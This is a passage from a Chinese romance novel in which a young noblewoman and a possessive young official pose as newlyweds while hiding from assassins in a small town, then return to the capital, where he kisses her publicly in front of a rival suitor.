随处一样小事,他便会想的多,没来由的对她霸道似的。
可没给姬时语愁坏了。
她是真不知道该训斥江曜一顿,还是哄他更好。
偶尔想起来,姬时语会起意,想借大陇传说一读,见识一番那位传说中的赫舍究竟如何驯服武神的。
她也好习得真本领。
可是转念一想,江曜又不是真弥拉,她并非是赫舍。
人家乃真夫妻,他们算什么?
……
回京的路途又需得一整日。
昨夜并未睡好,姬时语便俯趴在臂弯之上,轻轻窝坐于榻上,阖眼小憩。
沉沉睡过去后,也不知过了几时,只是依稀觉着马车似猛然颠簸了一下,复而停了步。
还不等姬时语睁开惺忪的眼,江曜那裹挟冷气的身躯猝然闯入车厢,冻得她打了个哆嗦。
姬时语喊他:“哥哥?”
江曜应着,抬手便将她抱入了怀中,一把带她钻出马车。
没了火炉,车外尤感寒冷,姬时语微微清醒,甫一抬眼,便望见江曜紧绷的下颌。
两人已身处不知名的地界,这地方是青山绿水,一座古朴小镇。
江曜却抱着她一路前行,并未止步,像还有些急切。
姬时语敏锐察觉生了事,她轻声询问:“怎么了?”
“阿锁,我们恐怕要在此地留宿几日。”
江曜低沉的声音传来,“有歹人在暗中跟随,我怀疑是楚王妃和胡家派来的人。”
事态严峻,姬时语便也不多过问,应了句好,又困顿不已地缩回江曜怀中。
行走不过片刻,两人来到一座柳叶巷子,步入胡同深处,林一已在一家宅院门前等候。
“大人。”
林一上前一拜,“属下已与主家谈好,我们酌情给银子租住屋中,不打紧的。”
江曜颔首,又问:“可追上来了?”
“还不曾,属下已探查过,附近并未有可疑之人。”
林一如实禀报。
如此之下,江曜便满意抱着姬时语先行回了屋,萍亭萍柳在后跟随。
这件宅院不大,五步庭堂,仅有一进一出的屋院,也就是两间厢房。
江曜随即分了屋,主屋留给主人家,而侧卧是丫鬟下人们的住处。
姬时语呆坐于微刺挠的木椅上,好似茫然:“只一间屋子,那你我怎得休息?”
江曜似笑非笑地凝望她。
姬时语顿时生起一股不妙的预感。
不等她细细思索,便在这时,院门传来一道砰砰的敲门声,像是屋外来了客人。
江曜一个眼神飞射,林一已是握刀做了警觉。
姬时语攀上了江曜的手腕,她嗓音温软,“你说我们在此地借住,可你我这一身装扮,任谁瞧不出是外地来的?”
江曜瞥眼姬时语乌发间金银璀璨的发簪,抬手便将簪子一并摘下。
一瞬间,姬时语的发髻凌乱,乌发披散了一身。
姬时语不悦瞪她:“做何弄我的发?”
江曜却喊来萍亭,“取根发带给你们小姐挽好。”
萍亭照做了。
院外的敲门声停歇了片刻,复而又响起一阵,有道苍老的声音随后问了话。
“可有人在?黄攀,你可在家啊?”
江曜飞快摘下发冠,随手取来一只玉白发簪,便将系扎头发盘起。
姬时语惊讶于他的动作之快。
而江曜已是起身去开了门。
“黄攀,我家中水井像是坏了,我提不动,你可能帮我一把? ”
杨阿婆还在问,院门被推开时,她才瞧见了一张生人的清冷面容。
江曜回道:“阿婆,黄攀不住这地儿了。”
“你们,你们……是新来的?黄攀真搬走了啊?我还没谢谢他呢。”
杨阿婆满脸震惊,她看看江曜,又侧头望向院里,除开少年郎,还多了一位天仙似的小姑娘。
“阿婆,你要帮什么忙?我们来替你抬把手。”
姬时语正缓慢走近,小姑娘水灵仙气,披着乌黑长发,点缀夺目的灿光。
杨阿婆还从未在小镇上见过这样貌若仙人的郎君和姑娘,方才一见,忍不住又多看两人了两眼。
江曜未免镇中百姓起疑心,将两人行踪说道出去,他便说:“我们四处游山玩水,打算在清水镇住上一阵子,还要阿婆多多担待了。”
他做了礼,看似周道。
江曜本就生了好皮囊,他隐去眉宇间的暗色,正有如君子之风,朗朗如玉。
“原来是这样,我说怎么来了一对小夫妻呢,瞧着你们还是新婚罢?”
杨阿婆并未多心,转而慈爱笑笑。
她一说夫妻,姬时语的脸皮蓦地红了,她便要解释,“阿婆,我们不是……”
江曜却很喜悦,他揽住了她纤细的腰,将人搂至身侧,姿态亲昵非凡,勾唇浅笑。
“阿婆,我们才新婚不足三个月。”
杨阿婆止不住打趣的笑眼,“新婚燕尔,莫怪还这样浓情蜜意呢。”
姬时语暗地掐了江曜的腰,他又捉住她作乱的手,面不改色道:“是,因而我们才相携外出,想四处走走。”
杨阿婆了然点头。
姬时语在旁看得瞪目结舌,她万般钦佩江曜的厚脸皮。
张口就来的谎话,没的关系也成了夫妻,偏还真像那么一回事了,将外人都糊弄了过去。
姬时语面子羞,她不欲江曜在胡诌,忙问杨阿婆,“阿婆,你不是要抬水吗?”
“是了,是了,还要劳烦你们帮我呢。”
杨阿婆想起正事了。
一行人便往隔壁杨阿婆的院子里走。
杨阿婆院中有一处自家凿的水井,今日水井绳索缠绕,杨阿婆年迈,脊背佝偻,使不动力气,这水便也抬不上来。
江曜和林一两人去摆弄水井,不多时,两人便合力抬了一桶水上来。
“还得是年轻力壮的大小伙子啊!”
杨阿婆感激不尽,朝着姬时语笑:“谢谢小娘子的夫君了。”
受杨阿婆一调侃,杨阿婆便瞧着眼前粉白面皮的小姑娘,羞红了脸。
小娘子的脸皮是真的薄。
惹人喜欢。
“清水镇是好地方,不过你们人生地不熟的,恐诸多事不便。”
杨阿婆粗糙的手握了下姬时语的手背,她真心实意说着:“在镇上若有事可来寻我,我在这儿住了有二三十年了,万事都懂得一些。”
姬时语笑应了句好。
杨阿婆一日所需三桶水,江曜便帮着打了三桶,体贴地抬入了厨房。
事了后,林一却从外头找了过来,他拢起严肃面容,去到江曜身侧低声说了几句。
江曜亦变了脸。
姬时语笃定,该是寻到可疑之人的踪迹了。
杨阿婆还拉着姬时语的手,问两人:“今日可太感谢你们夫妻二人了,老婆子没什么好东西,留下来让我招待你们吃口饭吧?”
江曜回:“阿婆,我还有点事,就不留下用饭了。”
“那小娘子呢?”
杨阿婆微微失落,看向姬时语,“你去办事便去罢,莫不是小娘子也要跟着去?”
江曜也睨了姬时语,姬时语回望于他,那双狐狸眼静静的,很快溢出了笑意。
他跨步走来,两下便到了姬时语的跟前。
江曜捉住了姬时语的下巴,一个抬手,她的脸便被抬高。
望见她如水的眼眸里尽是自己,江曜好满足。
只是片刻的功夫,他竟真当上了阿锁的夫君。
而他心爱的姑娘是那样懂事乖巧,无需他多说便是心有灵犀,知晓他为了躲避楚王妃追查,故意假扮两人为夫妻。
可她的纵容,令江曜太过兴奋了。
他便克制不住,想以假乱真。
江曜俯下脑袋,准确地撷取了姬时语柔软的朱唇,他浅啄了一口,没有深入。
轻轻一个落吻,却是当着杨阿婆的面,坐实了两人的夫妻之名。
江曜依依不舍地抚摸着姬时语泛红的脸,走前真似她的夫君一般,不忘叮嘱。
“等我回来。”
很快,江曜便从杨阿婆院中离去。
姬时语久久没回过神,脸颊是真生起热意。
后知后觉,她恼火自己没反应快些,止住江曜的无理举止。
两人亲吻已有几回,可那都是背着人而为,今日还是头一回当着人前亲她。
江曜还喊她,娘子。
说的那么亲热。
“哎呀。”
偏这时候杨阿婆笑声大起,“小娘子的夫君好疼爱你,老婆子是看出来了,这门亲事是他苦心求的罢?”
这要姬时语如何答,两人连亲事都还未定,更莫说能不能结为夫妻了。
因而她恼怒道:“才没有这回事呢!”
“老婆子我识人不会错的,当年我家老头子对我死缠烂打,非要娶我过门,婚后他也是缠我缠的紧。”
杨阿婆见眼前的小姑娘不好意思极了,更确信自己所想,笑着说:“他百般舍不得你,走也不愿意走,总想着同你缠绵,该是心中极喜爱你的。”
“阿婆,你莫要说了。”
姬时语是真想止了这话。
她又恼江曜,在外说是兄妹不可吗?
偏做劳什子的夫妻。
他倒好了,一走了之,留她一人备受煎熬。
杨阿婆哪知晓姬时语所想,如家中长辈,慈爱婆婆般,牵起姬时语的手问:“你们才新婚,可想过何时要孩子?”
被外人说道,不止是夫妻之事,连孩子也来了,姬时语好想寻个地儿躲起来,全当凡事一概不知。
“小娘子和夫君恩爱甜蜜,孩子一事应是顺其自然吧。”
杨阿婆还以为姬时语是羞于启齿双身子,她瞧着便像年岁不大的小娘子,她说的委婉,呵呵一笑。
“不过啊,老话常说,太过恩爱的夫妻,想要孩子便也容易的多。”
“为何?”
姬时语不懂。
杨阿婆道:“每日同床共枕,夫妻情浓,孩子不就来的快?”
姬时语如遭雷劈。
恍惚间,她忆起一件事。
他们的住处只一间主屋,今夜她岂不是要和江曜同床共枕了?
第104章
姬时语留在杨阿婆家中,陪着老人家说了好些话。
她才得知杨阿婆之所以看着如同寡母独居,是家中相公不到三十岁便撒手人寰。
而年轻时,夫妻俩恩爱如初,生下一个儿子后,杨阿婆的夫君便不愿再要孩子。
因此两人只一个孩子。
只是杨阿婆一介女子好不容易拉扯儿子长大,儿子下场参考,中了举人老爷之后便再也没回清水镇。
这都二十年了,也杳无音讯,不知人是活着还是死了。
听杨阿婆笑说往事的时候,两人正坐在小木凳上择菜刷洗,杨阿婆的脸上并无悲伤,她的笑容很清浅。
像是早已释怀,又像将儿子当作死了的。
姬时语不愿将人往坏了想,但还是心觉杨阿婆的儿子应是抛弃寡母,已娶妻生子也说不定。
她不想勾起伤心事,便不多嘴问。
杨阿婆还问姬时语可会下厨,在得知她不会时,杨阿婆问她可要试着洗把菜叶子。
姬时语接过水盆,一双芊芊素手才探进冰凉水中,萍亭便惊呼:“小姐!”
再说小娘子从小娇生惯养,乃是忠义侯府的嫡出千金,姬时语哪里做过这等活儿?
杨阿婆好奇打量,见两个丫鬟前来帮衬,不免有些愧疚,“瞧我,不知道小娘子身份高低,你应未做过这等粗活,还是莫要沾手了。”
姬时语只得在边干看着。
萍亭和萍柳做事麻溜,不一会儿,便帮杨阿婆将冬笋掰开清洗干净。
杨阿婆招待几个人用饭,她屋中早发好了面,又从缸中取出一块肥瘦相间的猪肉,剁成肉末和切好的竹笋混杂。
姬时语看得五味杂陈。
杨阿婆家中拮据,却愿意拿出一大块上好五花肉招待她,清水镇的人心着实是淳朴。
姬时语没想白吃,她喊了萍柳去取银子,“你上街买些瓜果的回来吧。”
“不用,不用!”
杨阿婆赶忙给拦住了,拉拉扯扯给姬时语止住步子,“我家中多着呢,有些是昨儿才买的,后山村里新鲜采摘的柑橘,回头你拿些回去。”
“这怎么好意思?”姬时语更难为情。
“再说我可不乐意听了啊,小娘子才来清水镇,招待你是该的。”
杨阿婆忽而板起脸,拍拍她手:“且你生得水灵灵的,我
心中盼着的孙女儿便是你这样子的,就想多疼爱你几分。”
“阿婆……”
姬时语轻轻笑着,只得点头。
杨阿婆终是满意展笑。
忙活了半个时辰,杨阿婆烧了一大锅的大包子,她做的是冬笋猪肉馅儿,锅上才上了水气,肉香四溢,瞬间窜入姬时语的鼻腔。
好香,好好吃,她都馋饿了。
杨阿婆一回身,便见姬时语捧着脑袋,眼巴巴往厨房里不时探脑袋,她又是慈爱笑。
“一会儿多吃几个。”
肉包子白白胖胖,杨阿婆给姬时语装了一篮子,她只留了五个,余下的都让姬时语拿回家中。
姬时语眼瞅一篮子肉包,“阿婆,这也太多了,我们吃不完的。”
“你夫君不还要回的?你让他多吃些,就当我今日谢你们替我抬水啊。”
杨阿婆又让萍亭萍柳随她去取柑橘,她同样装了一篮子,满满当当。
清水镇人烟稀少,杨阿婆又是多年独居,难得隔壁搬入一个貌美的小娘子,她喜欢的紧,便想多疼她几分。
天色渐暗,姬时语便欲打道回府,杨阿婆起身送她回院。
两家一墙之隔,离得近,杨阿婆佝偻着身躯,走前,她又和姬时语说了一句。
“小娘子脸皮薄,许多事八成不好意思与你那夫君提。你记得多管教他几分,男人不可太霸道,不尊重你,尤其是在要孩子这事上,万不可太早了啊,对你身子不好。”
杨阿婆真如叮嘱孙女似的,凡事都要念叨姬时语几句。
姬时语一听“夫妻”和“孩子”,她也顾不上太多,点点头便撒腿赶忙跑回屋中。
夜深人静,江曜还未归府。
姬时语独自坐在主院,趁着包子还是热乎着的,她捧着小口的吃。
近初春的冬笋脆脆甜甜,而猪肉肥瘦正正好,肉香添了油味,饶是姬时语胃口不大,也一口气吃了三个。
吃罢包子,姬时语又喊萍柳取几个柑橘。
时下的柑橘甜分大,酸味并不重,姬时语嗜甜,她剥了一个,水亮眼眸瞪大。
好吃!
清水镇的柑橘比京中的还要甜呢,姬时语抱着吃下六个,看她还要拿第七个,萍亭赶忙止住她。
“小姐,吃多了夜里可要闹肚子的。”
姬时语才不听,又取了一枚柑橘,剥了皮便往嘴里塞。
她吃得鼓鼓囊囊,屋外一道黑影下了房檐,悄无声息的落于地,宁心敲响屋门。
“小姐。”宁心进屋请示。
姬时语眨巴双眸,问:“可是哥哥那头有事了?”
宁心面露冰霜,眉眼森冷,蹙起时凝注了很重的犹豫。
“小姐,有件事属下不知该说不该说。”
“什么事?你说吧。”
姬时语还在不以为然,欲抬手取第八个柑橘。
萍亭不敢再放任她吃,姬时语生性畏寒,她忙将柑橘连篮子一并提走。
宁乐在这时也入了屋,她和宁心互看一眼,宁乐冷声道:“小姐,院附近把守的人手相当之多,应都是江大人的人,就是……”
“江大人太严防死守了。”
宁心接了话,“这院子足有十五位暗卫,守在小姐的屋外。”
“十五位?!”
姬时语真是惊骇到了。
“早先碰见的那个哑巴少年,他亦是江大人的人。”
宁心又说:“属下和宁乐起先还未察觉他人暗中跟着,直到秋猎他现身,此后便光明正大的跟在小姐身边,如影随形。”
宁乐道:“入清水镇时,属下明显察觉暗卫多了一倍不止。”
“江大人是为了护小姐安危吗?”
宁心问:“他对属下和宁乐并不信任。”
如若信任,江曜便不会安插这样之多的暗卫,严防死守这一进一出的宅院了。
宁心与宁乐皆为忠义侯府出身,同为侍奉五小姐的暗卫,两人不虞,是因受到江曜如此猜忌。
“罢了,不是责备你们不够能耐,与你们无关,不必多想。”
姬时语招招手,让宁心与宁乐下去休息。
院外人手众多,那便放任人把守好了。
姬时语隐隐猜出了江曜的用意。
他根本不是为了她的安危,怕她遭歹人伤害,恐遇到不测。
江曜还是那个江曜,内里显露过一出他执拗几乎疯魔的癫狂,他只在乎姬时语。
在姬时语身边时,他便形影不离,连她去往岭西,即便告假,他亦要同行。
姬时语人在哪里。
江曜下一刻便会知道。
那些暗卫,那么多人围在姬时语所住的屋外,只是因为江曜不能留在姬时语身边,他需要无数只眼睛。
替他看着姬时语。
这几近变态的掌控欲,让姬时语心生出一股畏惧和忐忑。
是难以言喻的阴魂不散,毛骨悚然之感。
因而当萍亭走来伺候姬时语,说道:“小姐,梳洗歇下吧。”
姬时语还是怏怏的,提不起劲儿。
“萍柳,你去外头问,就说我想出去一趟。”
萍柳不明所以,但还是照做了,不多时她折返回屋,带回了一句话。
江曜已是布下命令。
戌时一过,便不许姬时语再踏出宅院。
没得法子,姬时语只能乖乖睡觉。
两个丫鬟服侍姬时语简单沐浴清洗罢了,屋中火炉已生了热,姬时语便回屋歇息睡下。
姬时语总觉得,自己好像置身于一座被四面八方围困的宅院,没江曜的准许,她哪儿也去不得。
这个感觉十分恼怒。
让她想即刻见到江曜,狠狠抓着他大打出手,给他一顿好看的。
悻悻然过后,姬时语裹着被褥,全扒拉缠在身上,连被沿也压在了身上,不留一片给江曜。
哼,让他这样对待她,在外还要装夫妻欺负她,夜里可别想爬上她的床榻。
她连被子也不会给他留的……
姬时语想着想着,不一会儿便余下绵长的呼吸声。
夤夜时分,宅院寂静。
姬时语嘟哝着翻了个身,夜半她踢了被,脚趾微凉,冻得她醒来了。
因这宅院仅一间主屋,萍亭和萍柳便未来给姬时语掖被子,姬时语抬手摸摸身侧,亦是冰凉,不见江曜的身影。
他还未回来?
姬时语微微疑窦不安,旋即从床榻爬起身,浅浅踱上一双绣花鞋,便往外室而去。
离到屋门边,鼻尖多了一抹血腥之气。
血?
姬时语眉心直跳,她抬手便推开窄窄的木屋门。
五步之长的庭院中,空空荡荡,江曜落在清冷月色之下,人影高挑。
他执了一块锦帕,正擦着手中银光闪动的长刀。
在江曜身后,林一林二与几位暗卫静候着。
月色疏冷,折下半面阴影,笼罩于墙角的昏暗之上。
姬时语是看清了,又好像看不清。
那黑暗之中,有人身摞成了沓,是一人两人,还是五人十人?
是尸体,还是活人?
血味好重,姬时语全身冰凉,一双眼直勾勾望向江曜,轻呼不经意间便溢出嗓子。
“哥哥……”
“阿锁?”
江曜还在擦刀,抬首见姬时语便立在屋门前。
小姑娘的脸蛋生了几分惨白,她水灵灵的眼,比月光还要澄澈。
见她竟醒了,江曜脸色巨变,大步走来,挥手便蒙在了姬时语的双眼之上。
不等姬时语作应道,江曜飞快点了姬时语的睡穴。
眼前馨香的柔软身躯一塌,他伸手揽她入了怀中。
江曜抱着姬时语便要回屋,林一听得他冷冷下了命令。
“全清理了,不要留一丝痕迹。”
……
“阿锁?”
姬时语昏昏沉沉梦中醒来,觉着后脑微微有些生疼。
眼前的模糊逐渐清晰,江曜支着头侧睡于身边,一双狐狸眼清冷上挑着,凝望于她。
“哥哥……”
她眼里茫然无措。
江曜凑过来,亲吻了一下她的额头,他又勾唇一笑,墨瞳含杂着宠溺之色,喊她:“娘子,可是醒了?”
刹那的言语之下,姬时语彻底清醒了。
她捂着脑袋便后缩,一双水光微消的猫瞳不住瞪大,上下查看衣衫可还完好,又手忙脚乱地将被褥全拉扯于身上。
“你你你,江曜,我劝告你,不要太过分了!”
江曜还是那个姿势,他挑了下眉,眉宇疏朗,浅笑在脸上挂着,冷色褪去,人如清爽。
“我做何事了你这般警觉我?阿锁,我可是你的夫君呢。”
“夫,夫,夫君!胡来,在外胡诌便罢了,我还没同你算账呢!”
姬时语一听这话,真是气不打一出来,“若非看在你被楚王妃追杀,我何苦同情你,还陪着你在阿婆那儿做戏啊?”
“是啊,我的阿锁是最好的姑娘,总心疼我。”
江曜勾起姬时语的手,她百般想甩开,可每回他都如水藻缠绕似的,死抓她不放。
“往后也要多心疼心疼我啊,我喜欢你这样对我。”
“不要脸。”
姬时语脸红红的,低低咒骂。
“所以,娘子,你该起身了啊。”江曜还是笑。
“不准你喊我娘子。”
“那在外头露陷了怎么办?”
“能怎么办?你就只想得出做夫妻这一个法子!”
“是啊,我只想得到让你做我娘子这一个法子。”
眼见姬时语怒视自己,江曜是知晓她羞恼了,他偏就勾笑,纠缠于她的小拇指,拉扯拽她两下。
他一本正经,狐狸眼挑着,引诱她道:“好阿锁,唤我夫君。”
“你好烦,快下去。”
姬时语气哼哼的,真不欲再和厚脸皮的江曜多说,她将被褥全勾走,连被角也不给江曜留。
“你惯会欺负人,夜里不许你爬我床,爬了也要冻死你。”
她的小心思显露无疑,就是为着一丁点儿也要反抗到底。
江曜却打心底觉着她太可爱了,性子也好,胡闹亦是机灵生动的。
他在床头垂首俯视,姬时语缩在被中,探着个小脑袋,眼眸瞪着江曜,无声要他快些走。
没再惹姬时语,江曜翻身下了床,在床前站定。
至于姬时语说的不准他爬床,昨夜她睡得那样死,哪里还知道可有与江曜同床共枕?
更甚的,后来江曜脱衣上了床,姬时语寻着热气,还主动投到了他怀里,抱着他死死的不撒手。
昨夜一整夜,她窝在他怀中酣睡,十足眷恋他的怀抱,小脸便蹭在他的肩窝,偶时摆弄脑袋,双手便也缠得他紧紧的。
连熟睡,她亦是那样喜欢他。
江曜搂着她,是欢喜又亢奋。
而这些,江曜当然一字未提。
再说两句,姬时语的脸皮怕要红透了,恼得不搭理他。
第105章
“江曜,你老实交代,昨夜楚王妃的人追来了,你杀人了吗?”
姬时语脑里混沌,好像昨夜梦了一场,亲眼见到许多怖人之事。
一下子想回想,却怎么也想不起来。
江曜身形一顿,床头的小姑娘显得固执,他沉声道:“没有。”
姬时语投来狐疑的目光,并不确信。
江曜朝外一点下巴,“不信你出屋看一眼。”
姬时语当真是慢吞吞挪下了床,她随意裹上兔毛披风,便去敞开屋门。
屋外,院中一片干净,连一丝血迹也未见得。
彷佛昨夜只是她的一场梦。
姬时语作罢了,江曜揽着她回屋,又将门闭合起来,“你的鞋袜还未穿齐,身上又单薄,不得吹冷风。”
可这些关切之语并没惊起姬时语心中的波澜,她反问道:“你是不是安插了许多人把守院子?”
这回江曜没否了,应声道:“是我的人。”
“江曜!”
姬时语顿时恼怒,径直推开他,气得满脸通红:“你怎能视我做奸细似的,派那么多人严防死守盯着我?在你心里,究竟是怎样看待我的?”
“我何时有这个意思?”
“怎么不是?我连屋门都不能出去,还得你准许,你同我说不是,要我如何相信你的话。”
姬时语环臂恼怒,江曜想拥她入怀,被她的胳膊肘抵住,死活不情愿再给她抱。
今日她还偏要江曜给她一个解释了。
江曜却说:“阿锁,我不在你身边,我需要人手替我护着你的安危。”
“我身边有宁心和宁乐,再不济上回你派来的哑巴少年,已是足够多了,你还信不过他们?”
姬时语头一回直接提了林二,她质问:“那少年,是你的人吧。”
江曜黑沉沉的狐狸眼闪动,他颔首:“是,他是林一的弟弟林二。”
姬时语气坏了,“你当真瞒了我这么久!”
林一还有个弟弟,是个哑巴,长久以来便悄无声息跟在她身边,随时给江曜禀报她之事。
江曜背着她,将她看的死死的,却从没问过她愿不愿意。
“把你的人撤回去。”
姬时语直截了当。
江曜毫不犹豫:“不要。”
“为什么?你莫要说顾及我安危的话。”
姬时语太不悦了,“莫不是你离了忠义侯府,整日便系在我身上,弄来数多的人,只为围着我转,以好时时刻刻告知于你,我整日在做什么吧?”
江曜沉了眼。
还真给阿锁说对了。
他是这个打算。
因此,江曜低沉嗓音,答:“我还觉着人手不够多。”
“你!”
姬时语无话可说,她心中只有一个念头,“江曜,我看你是个疯子不成!”
“是啊,你就当我早疯了吧。”
江曜抬起那张清冷的俊容,明明是姬时语再熟悉不过的面庞,可此刻拢着阴郁的黑沉。
他定了定目光,眼底隐隐翻动起一股执意的疯狂。
“阿锁,我心心念念的,就是不愿你涉险。从岭西来到清水镇,我发觉楚王妃的痕迹在追寻队列,之所以安插如此之多的暗卫,就是以防她对你动手。”
不多时,江曜又换上轻松的语气,“阿锁,你能理解我的良苦用心吗?”
姬时语想骂人了。
见鬼了的良苦用心。
可是江曜又叹口气,轻轻捧起她的脸,将他的贴了过来,轻缓蹭蹭她的额头。
这些年,两人相处彼此再熟悉不过,江曜最知姬时语吃他示弱服软。
他温
柔地蹭她,又开始诱哄,“阿锁,我的娘子,想亲你,好不好?”
姬时语脑子里的乱糟糟,被他一句求_欢惹得满面羞红,她飞快推开江曜,捂住嘴巴。
“才不要呢,你给我出去,我要更衣!”
江曜轻笑一声,还是退离了屋子。
辰时二刻,姬时语系好长发梳洗完毕,正巧这时院外响起杨阿婆的敲门声。
她又来给两人送早膳了。
“姬小娘子,可用饭了?”
“还没呢,阿婆。”
“那我来的可不是正正好了?来,给你们做了两碗疙瘩汤,莫要嫌弃啊。”
杨阿婆送来食篮,里头是还冒着热气的两只汤碗。
姬时语真心感谢杨阿婆的照顾,笑着直说感谢。
江曜在旁听着,插了话,“我还有事,便不留家中用饭了,多谢阿婆照看我娘子。”
“客气,小郎君有事便忙去吧。”杨阿婆点头笑应。
“娘子。”
江曜便大步一抬,径直来到姬时语跟前。
他弯了下腰,摆动他那张郎目疏眉的脸过来,手指抬起点点薄唇,同姬时语索要一个亲吻。
新婚夫妻蜜里调油,索吻再寻常不过。
可偏偏姬时语和江曜乃是假夫妻,江曜故意当着杨阿婆的面,逼着姬时语主动亲他。
姬时语羞恼不已,然而江曜几度睇眼来,眼眸温温柔柔的,鼓动她过来亲吻他。
好似两人真如同新婚不久的夫妻。
姬时语被他的眸子一勾,还是忍不住抬起了头,心一动,踮脚覆上了他微抿的薄唇。
冰凉的触感,只是一啄,她便缩回了身。
她能主动已是不易,江曜的心中溢满愉悦满足,他见好就收。
佯装夫君叮嘱自家娘子的作态,留下几句贴心话之后,江曜便大步离去。
杨阿婆不禁感叹:“咳咳,你们小夫妻也太难分难解了,外人见了都有些不好意思。”
“阿婆。”
姬时语脸红,杨阿婆便一直亲切的笑。
待在清水镇的几日,江曜总是外出,徒留姬时语一人在宅院。
如他所说,姬时语独自去往杨阿婆家尚可,一旦要出院上街,便有密密麻麻的眼睛如影随形。
即使同杨阿婆提着篮去买菜,菜市摊位鳞次栉比,人多杂乱,姬时语还是能感觉身后有许多人跟随她。
一波人在暗中盯梢。
这样煎熬的日子不过三日,江曜终于回了。
楚王妃的爪牙已被肃清干净,便也意味着两人可以上路回京了。
姬时语迫不及待要走,受数人盯防的日夜,过几日便罢了,因着楚王妃有心算计江曜,她便容忍江曜一回放肆。
全当是为了帮他行事。
待回了京,她支身于忠义侯府,姬时语不信江曜还固执己见,派人盯着她。
踏上回行的马车,杨阿婆依依不舍。
知道姬时语喜爱清水镇的柑橘,杨阿婆尤为上心这个小娘子,临行前,便就送了一大筐篓的柑橘上车。
马车朝京城行驶而去。
从岭西回京的路途已过了大半,姬时语窝在马车,再未下车。
直至临近黄昏之时,江曜的声音再度响起,“阿锁,到了。”
马车在忠义侯府门前停靠。
坐了整半日的马车,姬时语双腿酸酸麻麻,她稍揉了揉,便挪动走出车厢。
马车之外,江曜已伸出手臂,接她下车。
姬时语没有扭捏,圈上他的脖子,便由着他将自己抱下马车。
“好了,我先回府了。”
一落地,姬时语便钻出江曜的怀抱。
“阿锁,你忘了一件事。”
天边霞光万丈,夕阳染红江曜半面的脸颊,他朝前探来,指了指自己的脸。
姬时语嘴角一僵。
在清水镇的五六日,杨阿婆总来宅院寻见她,每回只要江曜还在,便想了法子的磋磨她,缠着她索吻。
每日清晨夫妻分别,他都要同她讨个亲吻。
并乐此不疲。
姬时语从起初的不愿意,到后来也摆烂索性不管了。
亲两下她也不算吃亏,因此江曜探脸过来,她便主动勾着他脖子亲一口。
如今,江曜又在索吻了。
可是两人早已出了清水镇地界,没了假夫妻的关系,入京之后,他们便回归原先的身份,
是忠义侯府的五小姐,与楚王府半路找回的长公子。
两人之间可以说,毫无关系。
因而姬时语冷了眼,生硬撇头,“不要。”
江曜眼眸沉下,他不是没察觉姬时语突如其来的疏远。
原在清水镇两人还好好的,引得他不觉总想两人婚后的模样,可一踏入京城,姬时语便同他甩了冷脸。
江曜上前便握住了姬时语的腰肢,勾着她倒入自己怀中。
抚着她的脸,他掀动了薄唇。
“阿锁,你若是不亲,那我就保不准自己会做出什么事了。”
“真是的,你又不是小孩子,整日便在这种事上一根筋。”
姬时语叹息,双手朝上勾了江曜脖子,一个湿润的吻轻轻落在了他的侧脸。
她双眼明亮,浸了霞光,“哥哥,回了京,不可再胡闹了。”
姬时语说的是真话。
京城处处被人盯着,两人无关无系的,若是已定亲了还好说,可偏两人连最后一层兄妹的遮羞布,也早在江曜认祖归宗之后,被扯了个干净。
“莫非你真想招来人闲话?我不喜欢。”
姬时语坦言,江曜怎会不明白她的意思。
他心中已有决断,想方设法,他也会娶姬时语。
因此姬时语哄他不要急躁,他能听得进去。
“好,那便听阿锁的。”
“这才对嘛。”
姬时语笑意盈盈,对江曜的听话十分满意。
江曜抬手抚摸了两下她的脸,两人默默温存,谁也没作声。
他舍不得就这么走了,再一走便得独自回到孤零零的王府里去。
那里可没有小姑娘陪着他。
而姬时语也心头意动,不舍这般分离。
她柔软的脸蛋回蹭了江曜的手心,姬时语没说话,可也无声的说了许多。
江曜的心软得一塌糊涂。
他恨不得今日便能与姬时语成亲大婚。
可是无奈,忠义侯下了狠心,绝不容许两人定亲,他还得另从谋划。
江曜复而抬眼,这一投眸,无意间瞥见侯府之外的另一头,还停靠了一辆马车。
马车之上赫然两个字,沈府。
一道清秀的身影自马车而下,沈南怀脚下立定。
抬起头,他的双目和江曜的眼隔空,便对上了。
江曜霎时忆起那一幕。
沈南怀心悦姬时语。
两家恐要议亲。
侯府要让他的阿锁嫁给沈南怀?
江曜的心瞬间泛起巨浪,如潮水般的恼怒疯狂席卷上他的心,与那些不能迎娶姬时语的恨意一起,将他淹没。
他如何忍!
顷刻间,江曜捧起姬时语的下巴,俯下脑袋,狠狠吻住了她的唇。
“江……”
姬时语的喊声被彻底吃进了江曜嘴里。
他明明白白的告诉她。
即便是京中,在这忠义侯府的门前,江曜也要亲她。
沈家马车那面。
沈南怀清楚地看见,时任五军都督府都督佥事的江曜江大人,揽着忠义侯府的五小姐,勾着她腰,亲上了她的朱唇。
姬时语背对着沈南怀,被仰头抱在江曜怀中。
而江曜亲吻着小姑娘,却倏地抬起了眼。
他的狐狸眼一睨,越过姬时语盯上了沈南怀。
沈南怀只觉得这一刻,自己被一道阴沉的目光注视着。
江曜玉冠束发,霞光布满他露出的半张侧脸,真如同清冷的妖,陷入了无尽的癫狂。
沈南怀心中大骇。
江曜此举,是明明白白的告诉他。
他从来都不是忠义侯府五小姐的哥哥。
而是心悦她已久的男人。
是亲密无间的爱人。
第106章
姬时语一路气呼呼地回了韶华院。
她朱唇又红又肿,不敢让侯府上人瞧出端倪,是回院路上都用手背避着。
还好方才下马车她使唤萍亭萍柳先行回府,不若两个丫鬟瞧见,还不得多话。
从前江曜不是没和她亲过,但那时候两人总躲着下人,还没让人发现两人关系亲密。
今日在忠义侯府门前被江曜摁着一通亲,她还没来得及怪他前脚应的好好的,后脚便又胡来。
岂料江曜抱着她低落落说:“阿锁,我不想回王府,那里凄凄冷冷的。”
江曜诉苦,姬时语又真的心疼他独自面对楚王妃一家子,哪还有心思计较他亲自己。
姬时语暗骂,她还是太容易心软了。
总是架不住江曜和自己说些掏心窝子的话,忘了有时候江曜做事多不计后果。
姬时语暗自赌气。
事到如今,她亦无法同小时候那般,回了忠义侯府便去思芳院寻见江曜。
江曜早已搬回了楚王府。
真气人!
……
没过两日,舒氏便派人来韶华院寻姬时语。
姬时语及笄之后,舒氏便放任女儿肆意生长,并未强要给她议亲寻个人家,便就嫁她出去。
忠义侯府的五小姐,是舒氏与姬雄武的小女儿,自然捧在手心的宠爱。
这对父母即使是大女儿姬合英,也能由着她参军,待到二十岁才嫁为人妇。
舒氏是真想把姬时语多留在身边几年。
可惜天不随人愿,弘文帝长久未立储封号,三位皇子明争暗斗,虽各自已迎娶正妃,但这暗潮汹涌的争斗,终还是波及到了忠义侯府。
舒氏不得不做考虑。
自姬时语从岭西归来,舒氏
